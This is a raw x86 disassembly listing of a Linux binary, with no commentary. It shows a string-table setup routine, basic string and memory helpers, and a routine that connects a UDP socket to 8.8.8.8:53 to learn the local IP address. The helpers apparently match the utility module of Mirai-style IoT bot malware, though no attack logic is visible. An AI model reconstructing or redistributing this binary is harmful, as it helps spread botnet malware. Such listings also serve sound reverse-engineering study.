804b749: 68 b7 e8 04 08 push $0x804e8b7
804b74e: 50 push %eax
804b74f: e8 0c 05 00 00 call 0x804bc60
804b754: 89 1d 60 f1 04 08 mov %ebx,0x804f160
804b75a: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b761: 66 c7 05 64 f1 04 08 movw $0x6,0x804f164
804b768: 06 00
804b76a: e8 01 11 00 00 call 0x804c870
804b76f: 83 c4 0c add $0xc,%esp
804b772: 89 c3 mov %eax,%ebx
804b774: 6a 07 push $0x7
804b776: 68 be e8 04 08 push $0x804e8be
804b77b: 50 push %eax
804b77c: e8 df 04 00 00 call 0x804bc60
804b781: 89 1d 68 f1 04 08 mov %ebx,0x804f168
804b787: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b78e: 66 c7 05 6c f1 04 08 movw $0x7,0x804f16c
804b795: 07 00
804b797: e8 d4 10 00 00 call 0x804c870
804b79c: 83 c4 0c add $0xc,%esp
804b79f: 89 c3 mov %eax,%ebx
804b7a1: 6a 07 push $0x7
804b7a3: 68 c6 e8 04 08 push $0x804e8c6
804b7a8: 50 push %eax
804b7a9: e8 b2 04 00 00 call 0x804bc60
804b7ae: 89 1d 70 f1 04 08 mov %ebx,0x804f170
804b7b4: c7 04 24 03 00 00 00 movl $0x3,(%esp)
804b7bb: 66 c7 05 74 f1 04 08 movw $0x7,0x804f174
804b7c2: 07 00
804b7c4: e8 a7 10 00 00 call 0x804c870
804b7c9: 83 c4 0c add $0xc,%esp
804b7cc: 89 c3 mov %eax,%ebx
804b7ce: 6a 03 push $0x3
804b7d0: 68 ce e8 04 08 push $0x804e8ce
804b7d5: 50 push %eax
804b7d6: e8 85 04 00 00 call 0x804bc60
804b7db: 89 1d 78 f1 04 08 mov %ebx,0x804f178
804b7e1: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804b7e8: 66 c7 05 7c f1 04 08 movw $0x3,0x804f17c
804b7ef: 03 00
804b7f1: e8 7a 10 00 00 call 0x804c870
804b7f6: 83 c4 0c add $0xc,%esp
804b7f9: 89 c3 mov %eax,%ebx
804b7fb: 6a 13 push $0x13
804b7fd: 68 d2 e8 04 08 push $0x804e8d2
804b802: 50 push %eax
804b803: e8 58 04 00 00 call 0x804bc60
804b808: 89 1d 80 f1 04 08 mov %ebx,0x804f180
804b80e: c7 04 24 18 00 00 00 movl $0x18,(%esp)
804b815: 66 c7 05 84 f1 04 08 movw $0x13,0x804f184
804b81c: 13 00
804b81e: e8 4d 10 00 00 call 0x804c870
804b823: 83 c4 0c add $0xc,%esp
804b826: 89 c3 mov %eax,%ebx
804b828: 6a 18 push $0x18
804b82a: 68 e6 e8 04 08 push $0x804e8e6
804b82f: 50 push %eax
804b830: e8 2b 04 00 00 call 0x804bc60
804b835: 89 1d 88 f1 04 08 mov %ebx,0x804f188
804b83b: c7 04 24 09 00 00 00 movl $0x9,(%esp)
804b842: 66 c7 05 8c f1 04 08 movw $0x18,0x804f18c
804b849: 18 00
804b84b: e8 20 10 00 00 call 0x804c870
804b850: 83 c4 0c add $0xc,%esp
804b853: 89 c3 mov %eax,%ebx
804b855: 6a 09 push $0x9
804b857: 68 ff e8 04 08 push $0x804e8ff
804b85c: 50 push %eax
804b85d: e8 fe 03 00 00 call 0x804bc60
804b862: 89 1d 90 f1 04 08 mov %ebx,0x804f190
804b868: c7 04 24 10 00 00 00 movl $0x10,(%esp)
804b86f: 66 c7 05 94 f1 04 08 movw $0x9,0x804f194
804b876: 09 00
804b878: e8 f3 0f 00 00 call 0x804c870
804b87d: 83 c4 0c add $0xc,%esp
804b880: 89 c3 mov %eax,%ebx
804b882: 6a 10 push $0x10
804b884: 68 09 e9 04 08 push $0x804e909
804b889: 50 push %eax
804b88a: e8 d1 03 00 00 call 0x804bc60
804b88f: 89 1d 98 f1 04 08 mov %ebx,0x804f198
804b895: c7 04 24 16 00 00 00 movl $0x16,(%esp)
804b89c: 66 c7 05 9c f1 04 08 movw $0x10,0x804f19c
804b8a3: 10 00
804b8a5: e8 c6 0f 00 00 call 0x804c870
804b8aa: 83 c4 0c add $0xc,%esp
804b8ad: 89 c3 mov %eax,%ebx
804b8af: 6a 16 push $0x16
804b8b1: 68 1a e9 04 08 push $0x804e91a
804b8b6: 50 push %eax
804b8b7: e8 a4 03 00 00 call 0x804bc60
804b8bc: 89 1d a0 f1 04 08 mov %ebx,0x804f1a0
804b8c2: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b8c9: 66 c7 05 a4 f1 04 08 movw $0x16,0x804f1a4
804b8d0: 16 00
804b8d2: e8 99 0f 00 00 call 0x804c870
804b8d7: 83 c4 0c add $0xc,%esp
804b8da: 89 c3 mov %eax,%ebx
804b8dc: 6a 07 push $0x7
804b8de: 68 31 e9 04 08 push $0x804e931
804b8e3: 50 push %eax
804b8e4: e8 77 03 00 00 call 0x804bc60
804b8e9: 89 1d a8 f1 04 08 mov %ebx,0x804f1a8
804b8ef: c7 04 24 05 00 00 00 movl $0x5,(%esp)
804b8f6: 66 c7 05 ac f1 04 08 movw $0x7,0x804f1ac
804b8fd: 07 00
804b8ff: e8 6c 0f 00 00 call 0x804c870
804b904: 83 c4 0c add $0xc,%esp
804b907: 89 c3 mov %eax,%ebx
804b909: 6a 05 push $0x5
804b90b: 68 39 e9 04 08 push $0x804e939
804b910: 50 push %eax
804b911: e8 4a 03 00 00 call 0x804bc60
804b916: 89 1d b0 f1 04 08 mov %ebx,0x804f1b0
804b91c: c7 04 24 04 00 00 00 movl $0x4,(%esp)
804b923: 66 c7 05 b4 f1 04 08 movw $0x5,0x804f1b4
804b92a: 05 00
804b92c: e8 3f 0f 00 00 call 0x804c870
804b931: 83 c4 0c add $0xc,%esp
804b934: 89 c3 mov %eax,%ebx
804b936: 6a 04 push $0x4
804b938: 68 3f e9 04 08 push $0x804e93f
804b93d: 50 push %eax
804b93e: e8 1d 03 00 00 call 0x804bc60
804b943: 89 1d b8 f1 04 08 mov %ebx,0x804f1b8
804b949: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804b950: 66 c7 05 bc f1 04 08 movw $0x4,0x804f1bc
804b957: 04 00
804b959: e8 12 0f 00 00 call 0x804c870
804b95e: 83 c4 0c add $0xc,%esp
804b961: 89 c3 mov %eax,%ebx
804b963: 6a 06 push $0x6
804b965: 68 44 e9 04 08 push $0x804e944
804b96a: 50 push %eax
804b96b: e8 f0 02 00 00 call 0x804bc60
804b970: 89 1d c0 f1 04 08 mov %ebx,0x804f1c0
804b976: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804b97d: 66 c7 05 c4 f1 04 08 movw $0x6,0x804f1c4
804b984: 06 00
804b986: e8 e5 0e 00 00 call 0x804c870
804b98b: 83 c4 0c add $0xc,%esp
804b98e: 89 c3 mov %eax,%ebx
804b990: 6a 0e push $0xe
804b992: 68 4b e9 04 08 push $0x804e94b
804b997: 50 push %eax
804b998: e8 c3 02 00 00 call 0x804bc60
804b99d: 89 1d c8 f1 04 08 mov %ebx,0x804f1c8
804b9a3: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804b9aa: 66 c7 05 cc f1 04 08 movw $0xe,0x804f1cc
804b9b1: 0e 00
804b9b3: e8 b8 0e 00 00 call 0x804c870
804b9b8: 83 c4 0c add $0xc,%esp
804b9bb: 89 c3 mov %eax,%ebx
804b9bd: 6a 08 push $0x8
804b9bf: 68 5a e9 04 08 push $0x804e95a
804b9c4: 50 push %eax
804b9c5: e8 96 02 00 00 call 0x804bc60
804b9ca: 89 1d 28 f2 04 08 mov %ebx,0x804f228
804b9d0: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b9d7: 66 c7 05 2c f2 04 08 movw $0x8,0x804f22c
804b9de: 08 00
804b9e0: e8 8b 0e 00 00 call 0x804c870
804b9e5: 83 c4 0c add $0xc,%esp
804b9e8: 89 c3 mov %eax,%ebx
804b9ea: 6a 07 push $0x7
804b9ec: 68 63 e9 04 08 push $0x804e963
804b9f1: 50 push %eax
804b9f2: e8 69 02 00 00 call 0x804bc60
804b9f7: 89 1d 30 f2 04 08 mov %ebx,0x804f230
804b9fd: c7 04 24 10 00 00 00 movl $0x10,(%esp)
804ba04: 66 c7 05 34 f2 04 08 movw $0x7,0x804f234
804ba0b: 07 00
804ba0d: e8 5e 0e 00 00 call 0x804c870
804ba12: 83 c4 0c add $0xc,%esp
804ba15: 89 c3 mov %eax,%ebx
804ba17: 6a 10 push $0x10
804ba19: 68 6b e9 04 08 push $0x804e96b
804ba1e: 50 push %eax
804ba1f: e8 3c 02 00 00 call 0x804bc60
804ba24: 89 1d d0 f1 04 08 mov %ebx,0x804f1d0
804ba2a: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804ba31: 66 c7 05 d4 f1 04 08 movw $0x10,0x804f1d4
804ba38: 10 00
804ba3a: e8 31 0e 00 00 call 0x804c870
804ba3f: 83 c4 0c add $0xc,%esp
804ba42: 89 c3 mov %eax,%ebx
804ba44: 6a 08 push $0x8
804ba46: 68 7c e9 04 08 push $0x804e97c
804ba4b: 50 push %eax
804ba4c: e8 0f 02 00 00 call 0x804bc60
804ba51: 89 1d d8 f1 04 08 mov %ebx,0x804f1d8
804ba57: c7 04 24 15 00 00 00 movl $0x15,(%esp)
804ba5e: 66 c7 05 dc f1 04 08 movw $0x8,0x804f1dc
804ba65: 08 00
804ba67: e8 04 0e 00 00 call 0x804c870
804ba6c: 83 c4 0c add $0xc,%esp
804ba6f: 89 c3 mov %eax,%ebx
804ba71: 6a 15 push $0x15
804ba73: 68 f5 e9 04 08 push $0x804e9f5
804ba78: 50 push %eax
804ba79: e8 e2 01 00 00 call 0x804bc60
804ba7e: 89 1d e0 f1 04 08 mov %ebx,0x804f1e0
804ba84: c7 04 24 11 00 00 00 movl $0x11,(%esp)
804ba8b: 66 c7 05 e4 f1 04 08 movw $0x15,0x804f1e4
804ba92: 15 00
804ba94: e8 d7 0d 00 00 call 0x804c870
804ba99: 83 c4 0c add $0xc,%esp
804ba9c: 89 c3 mov %eax,%ebx
804ba9e: 6a 11 push $0x11
804baa0: 68 85 e9 04 08 push $0x804e985
804baa5: 50 push %eax
804baa6: e8 b5 01 00 00 call 0x804bc60
804baab: 89 1d e8 f1 04 08 mov %ebx,0x804f1e8
804bab1: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
804bab8: 66 c7 05 ec f1 04 08 movw $0x11,0x804f1ec
804babf: 11 00
804bac1: e8 aa 0d 00 00 call 0x804c870
804bac6: 83 c4 0c add $0xc,%esp
804bac9: 89 c3 mov %eax,%ebx
804bacb: 6a 0c push $0xc
804bacd: 68 97 e9 04 08 push $0x804e997
804bad2: 50 push %eax
804bad3: e8 88 01 00 00 call 0x804bc60
804bad8: 89 1d f0 f1 04 08 mov %ebx,0x804f1f0
804bade: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804bae5: 66 c7 05 f4 f1 04 08 movw $0xc,0x804f1f4
804baec: 0c 00
804baee: e8 7d 0d 00 00 call 0x804c870
804baf3: 83 c4 0c add $0xc,%esp
804baf6: 89 c3 mov %eax,%ebx
804baf8: 6a 0e push $0xe
804bafa: 68 a4 e9 04 08 push $0x804e9a4
804baff: 50 push %eax
804bb00: e8 5b 01 00 00 call 0x804bc60
804bb05: 89 1d f8 f1 04 08 mov %ebx,0x804f1f8
804bb0b: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804bb12: 66 c7 05 fc f1 04 08 movw $0xe,0x804f1fc
804bb19: 0e 00
804bb1b: e8 50 0d 00 00 call 0x804c870
804bb20: 83 c4 0c add $0xc,%esp
804bb23: 89 c3 mov %eax,%ebx
804bb25: 6a 13 push $0x13
804bb27: 68 b3 e9 04 08 push $0x804e9b3
804bb2c: 50 push %eax
804bb2d: e8 2e 01 00 00 call 0x804bc60
804bb32: 89 1d 00 f2 04 08 mov %ebx,0x804f200
804bb38: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804bb3f: 66 c7 05 04 f2 04 08 movw $0x13,0x804f204
804bb46: 13 00
804bb48: e8 23 0d 00 00 call 0x804c870
804bb4d: 83 c4 0c add $0xc,%esp
804bb50: 89 c3 mov %eax,%ebx
804bb52: 6a 08 push $0x8
804bb54: 68 c7 e9 04 08 push $0x804e9c7
804bb59: 50 push %eax
804bb5a: e8 01 01 00 00 call 0x804bc60
804bb5f: 89 1d 08 f2 04 08 mov %ebx,0x804f208
804bb65: c7 04 24 05 00 00 00 movl $0x5,(%esp)
804bb6c: 66 c7 05 0c f2 04 08 movw $0x8,0x804f20c
804bb73: 08 00
804bb75: e8 f6 0c 00 00 call 0x804c870
804bb7a: 83 c4 0c add $0xc,%esp
804bb7d: 89 c3 mov %eax,%ebx
804bb7f: 6a 05 push $0x5
804bb81: 68 d0 e9 04 08 push $0x804e9d0
804bb86: 50 push %eax
804bb87: e8 d4 00 00 00 call 0x804bc60
804bb8c: 89 1d 10 f2 04 08 mov %ebx,0x804f210
804bb92: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804bb99: 66 c7 05 14 f2 04 08 movw $0x5,0x804f214
804bba0: 05 00
804bba2: e8 c9 0c 00 00 call 0x804c870
804bba7: 83 c4 0c add $0xc,%esp
804bbaa: 89 c3 mov %eax,%ebx
804bbac: 6a 06 push $0x6
804bbae: 68 d6 e9 04 08 push $0x804e9d6
804bbb3: 50 push %eax
804bbb4: e8 a7 00 00 00 call 0x804bc60
804bbb9: 89 1d 18 f2 04 08 mov %ebx,0x804f218
804bbbf: c7 04 24 17 00 00 00 movl $0x17,(%esp)
804bbc6: 66 c7 05 1c f2 04 08 movw $0x6,0x804f21c
804bbcd: 06 00
804bbcf: e8 9c 0c 00 00 call 0x804c870
804bbd4: 83 c4 0c add $0xc,%esp
804bbd7: 89 c3 mov %eax,%ebx
804bbd9: 6a 17 push $0x17
804bbdb: 68 dd e9 04 08 push $0x804e9dd
804bbe0: 50 push %eax
804bbe1: e8 7a 00 00 00 call 0x804bc60
804bbe6: 89 1d 20 f2 04 08 mov %ebx,0x804f220
804bbec: 66 c7 05 24 f2 04 08 movw $0x17,0x804f224
804bbf3: 17 00
804bbf5: 83 c4 18 add $0x18,%esp
804bbf8: 5b pop %ebx
804bbf9: c3 ret
804bbfa: 90 nop
804bbfb: 90 nop
804bbfc: 90 nop
804bbfd: 90 nop
804bbfe: 90 nop
804bbff: 90 nop
804bc00: 8b 54 24 04 mov 0x4(%esp),%edx
804bc04: 31 c0 xor %eax,%eax
804bc06: 80 3a 00 cmpb $0x0,(%edx)
804bc09: 74 0c je 0x804bc17
804bc0b: 90 nop
804bc0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804bc10: 40 inc %eax
804bc11: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
804bc15: 75 f9 jne 0x804bc10
804bc17: c3 ret
804bc18: 90 nop
804bc19: 90 nop
804bc1a: 90 nop
804bc1b: 90 nop
804bc1c: 90 nop
804bc1d: 90 nop
804bc1e: 90 nop
804bc1f: 90 nop
804bc20: 56 push %esi
804bc21: 53 push %ebx
804bc22: 8b 44 24 10 mov 0x10(%esp),%eax
804bc26: 8b 54 24 0c mov 0xc(%esp),%edx
804bc2a: 80 38 00 cmpb $0x0,(%eax)
804bc2d: 74 25 je 0x804bc54
804bc2f: 31 f6 xor %esi,%esi
804bc31: 46 inc %esi
804bc32: 80 3c 06 00 cmpb $0x0,(%esi,%eax,1)
804bc36: 75 f9 jne 0x804bc31
804bc38: 83 fe ff cmp $0xffffffff,%esi
804bc3b: 74 12 je 0x804bc4f
804bc3d: 89 d3 mov %edx,%ebx
804bc3f: 89 c1 mov %eax,%ecx
804bc41: 89 f2 mov %esi,%edx
804bc43: 8a 01 mov (%ecx),%al
804bc45: 4a dec %edx
804bc46: 88 03 mov %al,(%ebx)
804bc48: 41 inc %ecx
804bc49: 43 inc %ebx
804bc4a: 83 fa ff cmp $0xffffffff,%edx
804bc4d: 75 f4 jne 0x804bc43
804bc4f: 89 f0 mov %esi,%eax
804bc51: 5b pop %ebx
804bc52: 5e pop %esi
804bc53: c3 ret
804bc54: 89 d3 mov %edx,%ebx
804bc56: 89 c1 mov %eax,%ecx
804bc58: 31 d2 xor %edx,%edx
804bc5a: 31 f6 xor %esi,%esi
804bc5c: eb e5 jmp 0x804bc43
804bc5e: 90 nop
804bc5f: 90 nop
804bc60: 56 push %esi
804bc61: 53 push %ebx
804bc62: 8b 4c 24 14 mov 0x14(%esp),%ecx
804bc66: 8b 74 24 0c mov 0xc(%esp),%esi
804bc6a: 8b 5c 24 10 mov 0x10(%esp),%ebx
804bc6e: 85 c9 test %ecx,%ecx
804bc70: 74 0d je 0x804bc7f
804bc72: 31 d2 xor %edx,%edx
804bc74: 8a 04 1a mov (%edx,%ebx,1),%al
804bc77: 88 04 32 mov %al,(%edx,%esi,1)
804bc7a: 42 inc %edx
804bc7b: 39 ca cmp %ecx,%edx
804bc7d: 75 f5 jne 0x804bc74
804bc7f: 5b pop %ebx
804bc80: 5e pop %esi
804bc81: c3 ret
804bc82: 90 nop
804bc83: 90 nop
804bc84: 90 nop
804bc85: 90 nop
804bc86: 90 nop
804bc87: 90 nop
804bc88: 90 nop
804bc89: 90 nop
804bc8a: 90 nop
804bc8b: 90 nop
804bc8c: 90 nop
804bc8d: 90 nop
804bc8e: 90 nop
804bc8f: 90 nop
804bc90: 8b 54 24 08 mov 0x8(%esp),%edx
804bc94: 8b 4c 24 04 mov 0x4(%esp),%ecx
804bc98: 85 d2 test %edx,%edx
804bc9a: 74 0d je 0x804bca9
804bc9c: 31 c0 xor %eax,%eax
804bc9e: 89 f6 mov %esi,%esi
804bca0: c6 04 08 00 movb $0x0,(%eax,%ecx,1)
804bca4: 40 inc %eax
804bca5: 39 d0 cmp %edx,%eax
804bca7: 75 f7 jne 0x804bca0
804bca9: c3 ret
804bcaa: 90 nop
804bcab: 90 nop
804bcac: 90 nop
804bcad: 90 nop
804bcae: 90 nop
804bcaf: 90 nop
804bcb0: 55 push %ebp
804bcb1: 57 push %edi
804bcb2: 56 push %esi
804bcb3: 53 push %ebx
804bcb4: 83 ec 10 sub $0x10,%esp
804bcb7: 8b 74 24 24 mov 0x24(%esp),%esi
804bcbb: 90 nop
804bcbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804bcc0: 8a 0e mov (%esi),%cl
804bcc2: 46 inc %esi
804bcc3: 0f be d9 movsbl %cl,%ebx
804bcc6: 0f be c3 movsbl %bl,%eax
804bcc9: 89 04 24 mov %eax,(%esp)
804bccc: 3c 20 cmp $0x20,%al
804bcce: 74 f0 je 0x804bcc0
804bcd0: 3c 09 cmp $0x9,%al
804bcd2: 74 ec je 0x804bcc0
804bcd4: 3c 0a cmp $0xa,%al
804bcd6: 74 e8 je 0x804bcc0
804bcd8: 80 f9 2d cmp $0x2d,%cl
804bcdb: 0f 84 ac 00 00 00 je 0x804bd8d
804bce1: 80 f9 2b cmp $0x2b,%cl
804bce4: 0f 84 d3 00 00 00 je 0x804bdbd
804bcea: b9 ff ff ff 7f mov $0x7fffffff,%ecx
804bcef: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
804bcf6: 00
804bcf7: 89 c8 mov %ecx,%eax
804bcf9: 31 d2 xor %edx,%edx
804bcfb: f7 74 24 28 divl 0x28(%esp)
804bcff: 31 ed xor %ebp,%ebp
804bd01: 31 ff xor %edi,%edi
804bd03: 89 54 24 08 mov %edx,0x8(%esp)
804bd07: 89 44 24 04 mov %eax,0x4(%esp)
804bd0b: eb 31 jmp 0x804bd3e
804bd0d: 8d 76 00 lea 0x0(%esi),%esi
804bd10: 8d 53 d0 lea -0x30(%ebx),%edx
804bd13: 3b 54 24 28 cmp 0x28(%esp),%edx
804bd17: 7d 51 jge 0x804bd6a
804bd19: 85 ff test %edi,%edi
804bd1b: 78 6b js 0x804bd88
804bd1d: 3b 6c 24 04 cmp 0x4(%esp),%ebp
804bd21: 77 65 ja 0x804bd88
804bd23: 74 5d je 0x804bd82
804bd25: 8b 44 24 28 mov 0x28(%esp),%eax
804bd29: bf 01 00 00 00 mov $0x1,%edi
804bd2e: 0f af c5 imul %ebp,%eax
804bd31: 8d 2c 10 lea (%eax,%edx,1),%ebp
804bd34: 0f be 1e movsbl (%esi),%ebx
804bd37: 0f be c3 movsbl %bl,%eax
804bd3a: 46 inc %esi
804bd3b: 89 04 24 mov %eax,(%esp)
804bd3e: 8a 14 24 mov (%esp),%dl
804bd41: 8d 42 d0 lea -0x30(%edx),%eax
804bd44: 3c 09 cmp $0x9,%al
804bd46: 76 c8 jbe 0x804bd10
804bd48: 8d 42 bf lea -0x41(%edx),%eax
804bd4b: b9 37 00 00 00 mov $0x37,%ecx
804bd50: 3c 19 cmp $0x19,%al
804bd52: 76 0c jbe 0x804bd60
804bd54: 8d 42 9f lea -0x61(%edx),%eax
804bd57: 3c 19 cmp $0x19,%al
804bd59: 77 0f ja 0x804bd6a
804bd5b: b1 57 mov $0x57,%cl
804bd5d: 8d 76 00 lea 0x0(%esi),%esi
804bd60: 89 da mov %ebx,%edx
804bd62: 29 ca sub %ecx,%edx
804bd64: 3b 54 24 28 cmp 0x28(%esp),%edx
804bd68: 7c af jl 0x804bd19
804bd6a: 85 ff test %edi,%edi
804bd6c: 78 3b js 0x804bda9
804bd6e: 8b 4c 24 0c mov 0xc(%esp),%ecx
804bd72: 89 e8 mov %ebp,%eax
804bd74: 85 c9 test %ecx,%ecx
804bd76: 74 02 je 0x804bd7a
804bd78: f7 d8 neg %eax
804bd7a: 83 c4 10 add $0x10,%esp
804bd7d: 5b pop %ebx
804bd7e: 5e pop %esi
804bd7f: 5f pop %edi
804bd80: 5d pop %ebp
804bd81: c3 ret
804bd82: 3b 54 24 08 cmp 0x8(%esp),%edx
804bd86: 7e 9d jle 0x804bd25
804bd88: 83 cf ff or $0xffffffff,%edi
804bd8b: eb a7 jmp 0x804bd34
804bd8d: 0f be 1e movsbl (%esi),%ebx
804bd90: b9 00 00 00 80 mov $0x80000000,%ecx
804bd95: 46 inc %esi
804bd96: 0f be d3 movsbl %bl,%edx
804bd99: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
804bda0: 00
804bda1: 89 14 24 mov %edx,(%esp)
804bda4: e9 4e ff ff ff jmp 0x804bcf7
804bda9: 83 7c 24 0c 01 cmpl $0x1,0xc(%esp)
804bdae: 19 c0 sbb %eax,%eax
804bdb0: 83 c4 10 add $0x10,%esp
804bdb3: 2d 00 00 00 80 sub $0x80000000,%eax
804bdb8: 5b pop %ebx
804bdb9: 5e pop %esi
804bdba: 5f pop %edi
804bdbb: 5d pop %ebp
804bdbc: c3 ret
804bdbd: 0f be 1e movsbl (%esi),%ebx
804bdc0: 46 inc %esi
804bdc1: 0f be c3 movsbl %bl,%eax
804bdc4: 89 04 24 mov %eax,(%esp)
804bdc7: e9 1e ff ff ff jmp 0x804bcea
804bdcc: 90 nop
804bdcd: 90 nop
804bdce: 90 nop
804bdcf: 90 nop
804bdd0: 55 push %ebp
804bdd1: 57 push %edi
804bdd2: 56 push %esi
804bdd3: 53 push %ebx
804bdd4: 83 ec 0c sub $0xc,%esp
804bdd7: 31 db xor %ebx,%ebx
804bdd9: 8b 74 24 20 mov 0x20(%esp),%esi
804bddd: 8b 6c 24 24 mov 0x24(%esp),%ebp
804bde1: 8b 7c 24 28 mov 0x28(%esp),%edi
804bde5: 50 push %eax
804bde6: 8d 04 1e lea (%esi,%ebx,1),%eax
804bde9: 6a 01 push $0x1
804bdeb: 50 push %eax
804bdec: 57 push %edi
804bded: e8 7c 04 00 00 call 0x804c26e
804bdf2: 83 c4 10 add $0x10,%esp
804bdf5: 48 dec %eax
804bdf6: 75 0c jne 0x804be04
804bdf8: 43 inc %ebx
804bdf9: 39 dd cmp %ebx,%ebp
804bdfb: 7e 07 jle 0x804be04
804bdfd: 80 7c 33 ff 0a cmpb $0xa,-0x1(%ebx,%esi,1)
804be02: 75 e1 jne 0x804bde5
804be04: 85 db test %ebx,%ebx
804be06: 0f 95 c0 setne %al
804be09: 25 ff 00 00 00 and $0xff,%eax
804be0e: 83 c4 0c add $0xc,%esp
804be11: f7 d8 neg %eax
804be13: 21 c6 and %eax,%esi
804be15: 5b pop %ebx
804be16: 89 f0 mov %esi,%eax
804be18: 5e pop %esi
804be19: 5f pop %edi
804be1a: 5d pop %ebp
804be1b: c3 ret
804be1c: 90 nop
804be1d: 90 nop
804be1e: 90 nop
804be1f: 90 nop
804be20: 56 push %esi
804be21: 53 push %ebx
804be22: 83 ec 24 sub $0x24,%esp
804be25: c7 44 24 20 10 00 00 movl $0x10,0x20(%esp)
804be2c: 00
804be2d: e8 84 07 00 00 call 0x804c5b6
804be32: c7 00 00 00 00 00 movl $0x0,(%eax)
804be38: 50 push %eax
804be39: 6a 00 push $0x0
804be3b: 6a 02 push $0x2
804be3d: 6a 02 push $0x2
804be3f: e8 db 09 00 00 call 0x804c81f
804be44: 89 c6 mov %eax,%esi
804be46: 83 c4 10 add $0x10,%esp
804be49: 31 c0 xor %eax,%eax
804be4b: 83 fe ff cmp $0xffffffff,%esi
804be4e: 74 42 je 0x804be92
804be50: 8d 5c 24 10 lea 0x10(%esp),%ebx
804be54: 66 c7 44 24 10 02 00 movw $0x2,0x10(%esp)
804be5b: c7 44 24 14 08 08 08 movl $0x8080808,0x14(%esp)
804be62: 08
804be63: 66 c7 44 24 12 00 35 movw $0x3500,0x12(%esp)
804be6a: 50 push %eax
804be6b: 6a 10 push $0x10
804be6d: 53 push %ebx
804be6e: 56 push %esi
804be6f: e8 13 08 00 00 call 0x804c687
804be74: 83 c4 0c add $0xc,%esp
804be77: 8d 44 24 24 lea 0x24(%esp),%eax
804be7b: 50 push %eax
804be7c: 53 push %ebx
804be7d: 56 push %esi
804be7e: e8 2f 08 00 00 call 0x804c6b2
804be83: 89 34 24 mov %esi,(%esp)
804be86: e8 48 02 00 00 call 0x804c0d3
804be8b: 8b 44 24 24 mov 0x24(%esp),%eax
804be8f: 83 c4 10 add $0x10,%esp
804be92: 83 c4 24 add $0x24,%esp
804be95: 5b pop %ebx
804be96: 5e pop %esi
804be97: c3 ret
804be98: 90 nop
804be99: 90 nop
804be9a: 90 nop
804be9b: 90 nop
804be9c: 90 nop
804be9d: 90 nop
804be9e: 90 nop
804be9f: 90 nop
804bea0: 55 push %ebp
804bea1: 57 push %edi
804bea2: 56 push %esi
804bea3: 53 push %ebx
804bea4: 83 ec 04 sub $0x4,%esp
804bea7: 8b 6c 24 20 mov 0x20(%esp),%ebp
804beab: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804beb2: 80 7d 00 00 cmpb $0x0,0x0(%ebp)
804beb6: 74 10 je 0x804bec8
804beb8: 8b 1c 24 mov (%esp),%ebx
804bebb: 43 inc %ebx
804bebc: 89 1c 24 mov %ebx,(%esp)
804bebf: 8b 04 24 mov (%esp),%eax
804bec2: 80 3c 28 00 cmpb $0x0,(%eax,%ebp,1)
804bec6: 75 f0 jne 0x804beb8
804bec8: 8b 5c 24 1c mov 0x1c(%esp),%ebx
804becc: 31 ff xor %edi,%edi
804bece: 8b 74 24 18 mov 0x18(%esp),%esi
804bed2: 85 db test %ebx,%ebx
804bed4: 7e 26 jle 0x804befc
804bed6: 8a 0e mov (%esi),%cl
804bed8: 8a 54 3d 00 mov 0x0(%ebp,%edi,1),%dl
804bedc: 46 inc %esi
804bedd: 8d 41 bf lea -0x41(%ecx),%eax
804bee0: 3c 19 cmp $0x19,%al
804bee2: 77 03 ja 0x804bee7
804bee4: 83 c9 60 or $0x60,%ecx
804bee7: 8d 42 bf lea -0x41(%edx),%eax
804beea: 3c 19 cmp $0x19,%al
804beec: 77 03 ja 0x804bef1
804beee: 83 ca 60 or $0x60,%edx
804bef1: 38 d1 cmp %dl,%cl
804bef3: 74 10 je 0x804bf05
804bef5: 31 ff xor %edi,%edi
804bef7: 4b dec %ebx
804bef8: 85 db test %ebx,%ebx
804befa: 7f da jg 0x804bed6
804befc: 83 c8 ff or $0xffffffff,%eax
804beff: 5a pop %edx
804bf00: 5b pop %ebx
804bf01: 5e pop %esi
804bf02: 5f pop %edi
804bf03: 5d pop %ebp
804bf04: c3 ret
804bf05: 47 inc %edi
804bf06: 39 3c 24 cmp %edi,(%esp)
804bf09: 75 ec jne 0x804bef7
804bf0b: 89 f0 mov %esi,%eax
804bf0d: 8b 4c 24 18 mov 0x18(%esp),%ecx
804bf11: 29 c8 sub %ecx,%eax
804bf13: 5a pop %edx
804bf14: 5b pop %ebx
804bf15: 5e pop %esi
804bf16: 5f pop %edi
804bf17: 5d pop %ebp
804bf18: c3 ret
804bf19: 90 nop
804bf1a: 90 nop
804bf1b: 90 nop
804bf1c: 90 nop
804bf1d: 90 nop
804bf1e: 90 nop
804bf1f: 90 nop
804bf20: 56 push %esi
804bf21: 53 push %ebx
804bf22: 8b 5c 24 0c mov 0xc(%esp),%ebx
804bf26: 31 f6 xor %esi,%esi
804bf28: 8b 4c 24 10 mov 0x10(%esp),%ecx
804bf2c: 80 3b 00 cmpb $0x0,(%ebx)
804bf2f: 74 07 je 0x804bf38
804bf31: 46 inc %esi
804bf32: 80 3c 1e 00 cmpb $0x0,(%esi,%ebx,1)
804bf36: 75 f9 jne 0x804bf31
804bf38: 31 c0 xor %eax,%eax
804bf3a: 80 39 00 cmpb $0x0,(%ecx)
804bf3d: 74 08 je 0x804bf47
804bf3f: 90 nop
804bf40: 40 inc %eax
804bf41: 80 3c 08 00 cmpb $0x0,(%eax,%ecx,1)
804bf45: 75 f9 jne 0x804bf40
804bf47: 89 c2 mov %eax,%edx
804bf49: 39 c6 cmp %eax,%esi
804bf4b: 74 07 je 0x804bf54
804bf4d: 31 c0 xor %eax,%eax
